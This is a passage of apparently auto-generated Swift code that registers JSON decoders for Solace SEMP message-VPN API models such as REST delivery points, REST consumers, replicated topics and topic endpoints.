Decoders.addDecoder(clazz: MsgVpnReplayLogResponse.self) { (source: AnyObject) -> MsgVpnReplayLogResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnReplayLogResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnReplayLog.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnReplayLogLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnReplayLogsResponse]
Decoders.addDecoder(clazz: [MsgVpnReplayLogsResponse].self) { (source: AnyObject) -> [MsgVpnReplayLogsResponse] in
return Decoders.decode(clazz: [MsgVpnReplayLogsResponse].self, source: source)
}
// Decoder for MsgVpnReplayLogsResponse
Decoders.addDecoder(clazz: MsgVpnReplayLogsResponse.self) { (source: AnyObject) -> MsgVpnReplayLogsResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnReplayLogsResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnReplicatedTopic]
Decoders.addDecoder(clazz: [MsgVpnReplicatedTopic].self) { (source: AnyObject) -> [MsgVpnReplicatedTopic] in
return Decoders.decode(clazz: [MsgVpnReplicatedTopic].self, source: source)
}
// Decoder for MsgVpnReplicatedTopic
Decoders.addDecoder(clazz: MsgVpnReplicatedTopic.self) { (source: AnyObject) -> MsgVpnReplicatedTopic in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnReplicatedTopic()
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.replicatedTopic = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["replicatedTopic"])
instance.replicationMode = MsgVpnReplicatedTopic.ReplicationMode(rawValue: (sourceDictionary["replicationMode"] as? String) ?? "")
return instance
}
// Decoder for [MsgVpnReplicatedTopicLinks]
Decoders.addDecoder(clazz: [MsgVpnReplicatedTopicLinks].self) { (source: AnyObject) -> [MsgVpnReplicatedTopicLinks] in
return Decoders.decode(clazz: [MsgVpnReplicatedTopicLinks].self, source: source)
}
// Decoder for MsgVpnReplicatedTopicLinks
Decoders.addDecoder(clazz: MsgVpnReplicatedTopicLinks.self) { (source: AnyObject) -> MsgVpnReplicatedTopicLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnReplicatedTopicLinks()
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnReplicatedTopicResponse]
Decoders.addDecoder(clazz: [MsgVpnReplicatedTopicResponse].self) { (source: AnyObject) -> [MsgVpnReplicatedTopicResponse] in
return Decoders.decode(clazz: [MsgVpnReplicatedTopicResponse].self, source: source)
}
// Decoder for MsgVpnReplicatedTopicResponse
Decoders.addDecoder(clazz: MsgVpnReplicatedTopicResponse.self) { (source: AnyObject) -> MsgVpnReplicatedTopicResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnReplicatedTopicResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnReplicatedTopic.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnReplicatedTopicLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnReplicatedTopicsResponse]
Decoders.addDecoder(clazz: [MsgVpnReplicatedTopicsResponse].self) { (source: AnyObject) -> [MsgVpnReplicatedTopicsResponse] in
return Decoders.decode(clazz: [MsgVpnReplicatedTopicsResponse].self, source: source)
}
// Decoder for MsgVpnReplicatedTopicsResponse
Decoders.addDecoder(clazz: MsgVpnReplicatedTopicsResponse.self) { (source: AnyObject) -> MsgVpnReplicatedTopicsResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnReplicatedTopicsResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnResponse]
Decoders.addDecoder(clazz: [MsgVpnResponse].self) { (source: AnyObject) -> [MsgVpnResponse] in
return Decoders.decode(clazz: [MsgVpnResponse].self, source: source)
}
// Decoder for MsgVpnResponse
Decoders.addDecoder(clazz: MsgVpnResponse.self) { (source: AnyObject) -> MsgVpnResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpn.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnRestDeliveryPoint]
Decoders.addDecoder(clazz: [MsgVpnRestDeliveryPoint].self) { (source: AnyObject) -> [MsgVpnRestDeliveryPoint] in
return Decoders.decode(clazz: [MsgVpnRestDeliveryPoint].self, source: source)
}
// Decoder for MsgVpnRestDeliveryPoint
Decoders.addDecoder(clazz: MsgVpnRestDeliveryPoint.self) { (source: AnyObject) -> MsgVpnRestDeliveryPoint in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnRestDeliveryPoint()
instance.clientProfileName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["clientProfileName"])
instance.enabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["enabled"])
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.restDeliveryPointName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["restDeliveryPointName"])
return instance
}
// Decoder for [MsgVpnRestDeliveryPointLinks]
Decoders.addDecoder(clazz: [MsgVpnRestDeliveryPointLinks].self) { (source: AnyObject) -> [MsgVpnRestDeliveryPointLinks] in
return Decoders.decode(clazz: [MsgVpnRestDeliveryPointLinks].self, source: source)
}
// Decoder for MsgVpnRestDeliveryPointLinks
Decoders.addDecoder(clazz: MsgVpnRestDeliveryPointLinks.self) { (source: AnyObject) -> MsgVpnRestDeliveryPointLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnRestDeliveryPointLinks()
instance.queueBindingsUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["queueBindingsUri"])
instance.restConsumersUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["restConsumersUri"])
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnRestDeliveryPointQueueBinding]
Decoders.addDecoder(clazz: [MsgVpnRestDeliveryPointQueueBinding].self) { (source: AnyObject) -> [MsgVpnRestDeliveryPointQueueBinding] in
return Decoders.decode(clazz: [MsgVpnRestDeliveryPointQueueBinding].self, source: source)
}
// Decoder for MsgVpnRestDeliveryPointQueueBinding
Decoders.addDecoder(clazz: MsgVpnRestDeliveryPointQueueBinding.self) { (source: AnyObject) -> MsgVpnRestDeliveryPointQueueBinding in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnRestDeliveryPointQueueBinding()
instance.gatewayReplaceTargetAuthorityEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["gatewayReplaceTargetAuthorityEnabled"])
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.postRequestTarget = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["postRequestTarget"])
instance.queueBindingName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["queueBindingName"])
instance.restDeliveryPointName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["restDeliveryPointName"])
return instance
}
// Decoder for [MsgVpnRestDeliveryPointQueueBindingLinks]
Decoders.addDecoder(clazz: [MsgVpnRestDeliveryPointQueueBindingLinks].self) { (source: AnyObject) -> [MsgVpnRestDeliveryPointQueueBindingLinks] in
return Decoders.decode(clazz: [MsgVpnRestDeliveryPointQueueBindingLinks].self, source: source)
}
// Decoder for MsgVpnRestDeliveryPointQueueBindingLinks
Decoders.addDecoder(clazz: MsgVpnRestDeliveryPointQueueBindingLinks.self) { (source: AnyObject) -> MsgVpnRestDeliveryPointQueueBindingLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnRestDeliveryPointQueueBindingLinks()
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnRestDeliveryPointQueueBindingResponse]
Decoders.addDecoder(clazz: [MsgVpnRestDeliveryPointQueueBindingResponse].self) { (source: AnyObject) -> [MsgVpnRestDeliveryPointQueueBindingResponse] in
return Decoders.decode(clazz: [MsgVpnRestDeliveryPointQueueBindingResponse].self, source: source)
}
// Decoder for MsgVpnRestDeliveryPointQueueBindingResponse
Decoders.addDecoder(clazz: MsgVpnRestDeliveryPointQueueBindingResponse.self) { (source: AnyObject) -> MsgVpnRestDeliveryPointQueueBindingResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnRestDeliveryPointQueueBindingResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnRestDeliveryPointQueueBinding.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnRestDeliveryPointQueueBindingLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnRestDeliveryPointQueueBindingsResponse]
Decoders.addDecoder(clazz: [MsgVpnRestDeliveryPointQueueBindingsResponse].self) { (source: AnyObject) -> [MsgVpnRestDeliveryPointQueueBindingsResponse] in
return Decoders.decode(clazz: [MsgVpnRestDeliveryPointQueueBindingsResponse].self, source: source)
}
// Decoder for MsgVpnRestDeliveryPointQueueBindingsResponse
Decoders.addDecoder(clazz: MsgVpnRestDeliveryPointQueueBindingsResponse.self) { (source: AnyObject) -> MsgVpnRestDeliveryPointQueueBindingsResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnRestDeliveryPointQueueBindingsResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnRestDeliveryPointResponse]
Decoders.addDecoder(clazz: [MsgVpnRestDeliveryPointResponse].self) { (source: AnyObject) -> [MsgVpnRestDeliveryPointResponse] in
return Decoders.decode(clazz: [MsgVpnRestDeliveryPointResponse].self, source: source)
}
// Decoder for MsgVpnRestDeliveryPointResponse
Decoders.addDecoder(clazz: MsgVpnRestDeliveryPointResponse.self) { (source: AnyObject) -> MsgVpnRestDeliveryPointResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnRestDeliveryPointResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnRestDeliveryPoint.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnRestDeliveryPointLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnRestDeliveryPointRestConsumer]
Decoders.addDecoder(clazz: [MsgVpnRestDeliveryPointRestConsumer].self) { (source: AnyObject) -> [MsgVpnRestDeliveryPointRestConsumer] in
return Decoders.decode(clazz: [MsgVpnRestDeliveryPointRestConsumer].self, source: source)
}
// Decoder for MsgVpnRestDeliveryPointRestConsumer
Decoders.addDecoder(clazz: MsgVpnRestDeliveryPointRestConsumer.self) { (source: AnyObject) -> MsgVpnRestDeliveryPointRestConsumer in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnRestDeliveryPointRestConsumer()
instance.authenticationClientCertContent = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["authenticationClientCertContent"])
instance.authenticationClientCertPassword = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["authenticationClientCertPassword"])
instance.authenticationHttpBasicPassword = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["authenticationHttpBasicPassword"])
instance.authenticationHttpBasicUsername = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["authenticationHttpBasicUsername"])
instance.authenticationScheme = MsgVpnRestDeliveryPointRestConsumer.AuthenticationScheme(rawValue: (sourceDictionary["authenticationScheme"] as? String) ?? "")
instance.enabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["enabled"])
instance.localInterface = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["localInterface"])
instance.maxPostWaitTime = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["maxPostWaitTime"])
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.outgoingConnectionCount = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["outgoingConnectionCount"])
instance.remoteHost = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["remoteHost"])
instance.remotePort = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["remotePort"])
instance.restConsumerName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["restConsumerName"])
instance.restDeliveryPointName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["restDeliveryPointName"])
instance.retryDelay = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["retryDelay"])
instance.tlsCipherSuiteList = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["tlsCipherSuiteList"])
instance.tlsEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["tlsEnabled"])
return instance
}
// Decoder for [MsgVpnRestDeliveryPointRestConsumerLinks]
Decoders.addDecoder(clazz: [MsgVpnRestDeliveryPointRestConsumerLinks].self) { (source: AnyObject) -> [MsgVpnRestDeliveryPointRestConsumerLinks] in
return Decoders.decode(clazz: [MsgVpnRestDeliveryPointRestConsumerLinks].self, source: source)
}
// Decoder for MsgVpnRestDeliveryPointRestConsumerLinks
Decoders.addDecoder(clazz: MsgVpnRestDeliveryPointRestConsumerLinks.self) { (source: AnyObject) -> MsgVpnRestDeliveryPointRestConsumerLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnRestDeliveryPointRestConsumerLinks()
instance.tlsTrustedCommonNamesUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["tlsTrustedCommonNamesUri"])
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnRestDeliveryPointRestConsumerResponse]
Decoders.addDecoder(clazz: [MsgVpnRestDeliveryPointRestConsumerResponse].self) { (source: AnyObject) -> [MsgVpnRestDeliveryPointRestConsumerResponse] in
return Decoders.decode(clazz: [MsgVpnRestDeliveryPointRestConsumerResponse].self, source: source)
}
// Decoder for MsgVpnRestDeliveryPointRestConsumerResponse
Decoders.addDecoder(clazz: MsgVpnRestDeliveryPointRestConsumerResponse.self) { (source: AnyObject) -> MsgVpnRestDeliveryPointRestConsumerResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnRestDeliveryPointRestConsumerResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnRestDeliveryPointRestConsumer.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnRestDeliveryPointRestConsumerLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonName]
Decoders.addDecoder(clazz: [MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonName].self) { (source: AnyObject) -> [MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonName] in
return Decoders.decode(clazz: [MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonName].self, source: source)
}
// Decoder for MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonName
Decoders.addDecoder(clazz: MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonName.self) { (source: AnyObject) -> MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonName in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonName()
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.restConsumerName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["restConsumerName"])
instance.restDeliveryPointName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["restDeliveryPointName"])
instance.tlsTrustedCommonName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["tlsTrustedCommonName"])
return instance
}
// Decoder for [MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNameLinks]
Decoders.addDecoder(clazz: [MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNameLinks].self) { (source: AnyObject) -> [MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNameLinks] in
return Decoders.decode(clazz: [MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNameLinks].self, source: source)
}
// Decoder for MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNameLinks
Decoders.addDecoder(clazz: MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNameLinks.self) { (source: AnyObject) -> MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNameLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNameLinks()
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNameResponse]
Decoders.addDecoder(clazz: [MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNameResponse].self) { (source: AnyObject) -> [MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNameResponse] in
return Decoders.decode(clazz: [MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNameResponse].self, source: source)
}
// Decoder for MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNameResponse
Decoders.addDecoder(clazz: MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNameResponse.self) { (source: AnyObject) -> MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNameResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNameResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonName.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNameLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNamesResponse]
Decoders.addDecoder(clazz: [MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNamesResponse].self) { (source: AnyObject) -> [MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNamesResponse] in
return Decoders.decode(clazz: [MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNamesResponse].self, source: source)
}
// Decoder for MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNamesResponse
Decoders.addDecoder(clazz: MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNamesResponse.self) { (source: AnyObject) -> MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNamesResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnRestDeliveryPointRestConsumerTlsTrustedCommonNamesResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnRestDeliveryPointRestConsumersResponse]
Decoders.addDecoder(clazz: [MsgVpnRestDeliveryPointRestConsumersResponse].self) { (source: AnyObject) -> [MsgVpnRestDeliveryPointRestConsumersResponse] in
return Decoders.decode(clazz: [MsgVpnRestDeliveryPointRestConsumersResponse].self, source: source)
}
// Decoder for MsgVpnRestDeliveryPointRestConsumersResponse
Decoders.addDecoder(clazz: MsgVpnRestDeliveryPointRestConsumersResponse.self) { (source: AnyObject) -> MsgVpnRestDeliveryPointRestConsumersResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnRestDeliveryPointRestConsumersResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnRestDeliveryPointsResponse]
Decoders.addDecoder(clazz: [MsgVpnRestDeliveryPointsResponse].self) { (source: AnyObject) -> [MsgVpnRestDeliveryPointsResponse] in
return Decoders.decode(clazz: [MsgVpnRestDeliveryPointsResponse].self, source: source)
}
// Decoder for MsgVpnRestDeliveryPointsResponse
Decoders.addDecoder(clazz: MsgVpnRestDeliveryPointsResponse.self) { (source: AnyObject) -> MsgVpnRestDeliveryPointsResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnRestDeliveryPointsResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnSequencedTopic]
Decoders.addDecoder(clazz: [MsgVpnSequencedTopic].self) { (source: AnyObject) -> [MsgVpnSequencedTopic] in
return Decoders.decode(clazz: [MsgVpnSequencedTopic].self, source: source)
}
// Decoder for MsgVpnSequencedTopic
Decoders.addDecoder(clazz: MsgVpnSequencedTopic.self) { (source: AnyObject) -> MsgVpnSequencedTopic in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnSequencedTopic()
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.sequencedTopic = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["sequencedTopic"])
return instance
}
// Decoder for [MsgVpnSequencedTopicLinks]
Decoders.addDecoder(clazz: [MsgVpnSequencedTopicLinks].self) { (source: AnyObject) -> [MsgVpnSequencedTopicLinks] in
return Decoders.decode(clazz: [MsgVpnSequencedTopicLinks].self, source: source)
}
// Decoder for MsgVpnSequencedTopicLinks
Decoders.addDecoder(clazz: MsgVpnSequencedTopicLinks.self) { (source: AnyObject) -> MsgVpnSequencedTopicLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnSequencedTopicLinks()
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnSequencedTopicResponse]
Decoders.addDecoder(clazz: [MsgVpnSequencedTopicResponse].self) { (source: AnyObject) -> [MsgVpnSequencedTopicResponse] in
return Decoders.decode(clazz: [MsgVpnSequencedTopicResponse].self, source: source)
}
// Decoder for MsgVpnSequencedTopicResponse
Decoders.addDecoder(clazz: MsgVpnSequencedTopicResponse.self) { (source: AnyObject) -> MsgVpnSequencedTopicResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnSequencedTopicResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnSequencedTopic.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnSequencedTopicLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnSequencedTopicsResponse]
Decoders.addDecoder(clazz: [MsgVpnSequencedTopicsResponse].self) { (source: AnyObject) -> [MsgVpnSequencedTopicsResponse] in
return Decoders.decode(clazz: [MsgVpnSequencedTopicsResponse].self, source: source)
}
// Decoder for MsgVpnSequencedTopicsResponse
Decoders.addDecoder(clazz: MsgVpnSequencedTopicsResponse.self) { (source: AnyObject) -> MsgVpnSequencedTopicsResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnSequencedTopicsResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnTopicEndpoint]
Decoders.addDecoder(clazz: [MsgVpnTopicEndpoint].self) { (source: AnyObject) -> [MsgVpnTopicEndpoint] in
return Decoders.decode(clazz: [MsgVpnTopicEndpoint].self, source: source)
}
// Decoder for MsgVpnTopicEndpoint
Decoders.addDecoder(clazz: MsgVpnTopicEndpoint.self) { (source: AnyObject) -> MsgVpnTopicEndpoint in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnTopicEndpoint()
instance.accessType = MsgVpnTopicEndpoint.AccessType(rawValue: (sourceDictionary["accessType"] as? String) ?? "")
instance.consumerAckPropagationEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["consumerAckPropagationEnabled"])
instance.deadMsgQueue = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["deadMsgQueue"])
instance.egressEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["egressEnabled"])
instance.eventBindCountThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventBindCountThreshold"])
instance.eventRejectLowPriorityMsgLimitThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventRejectLowPriorityMsgLimitThreshold"])
instance.eventSpoolUsageThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventSpoolUsageThreshold"])
instance.ingressEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["ingressEnabled"])
instance.maxBindCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxBindCount"])
instance.maxDeliveredUnackedMsgsPerFlow = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxDeliveredUnackedMsgsPerFlow"])
instance.maxMsgSize = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["maxMsgSize"])
instance.maxRedeliveryCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxRedeliveryCount"])
instance.maxSpoolUsage = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxSpoolUsage"])
instance.maxTtl = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxTtl"])
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.owner = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["owner"])
instance.permission = MsgVpnTopicEndpoint.Permission(rawValue: (sourceDictionary["permission"] as? String) ?? "")
instance.rejectLowPriorityMsgEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["rejectLowPriorityMsgEnabled"])
instance.rejectLowPriorityMsgLimit = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["rejectLowPriorityMsgLimit"])
instance.rejectMsgToSenderOnDiscardBehavior = MsgVpnTopicEndpoint.RejectMsgToSenderOnDiscardBehavior(rawValue: (sourceDictionary["rejectMsgToSenderOnDiscardBehavior"] as? String) ?? "")
instance.respectMsgPriorityEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["respectMsgPriorityEnabled"])
instance.respectTtlEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["respectTtlEnabled"])
instance.topicEndpointName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["topicEndpointName"])
return instance
}
// Decoder for [MsgVpnTopicEndpointLinks]
Decoders.addDecoder(clazz: [MsgVpnTopicEndpointLinks].self) { (source: AnyObject) -> [MsgVpnTopicEndpointLinks] in
return Decoders.decode(clazz: [MsgVpnTopicEndpointLinks].self, source: source)
}
// Decoder for MsgVpnTopicEndpointLinks
Decoders.addDecoder(clazz: MsgVpnTopicEndpointLinks.self) { (source: AnyObject) -> MsgVpnTopicEndpointLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnTopicEndpointLinks()
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnTopicEndpointResponse]
Decoders.addDecoder(clazz: [MsgVpnTopicEndpointResponse].self) { (source: AnyObject) -> [MsgVpnTopicEndpointResponse] in
return Decoders.decode(clazz: [MsgVpnTopicEndpointResponse].self, source: source)
}
// Decoder for MsgVpnTopicEndpointResponse
Decoders.addDecoder(clazz: MsgVpnTopicEndpointResponse.self) { (source: AnyObject) -> MsgVpnTopicEndpointResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnTopicEndpointResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnTopicEndpoint.self, source: sourceDictionary["data"])
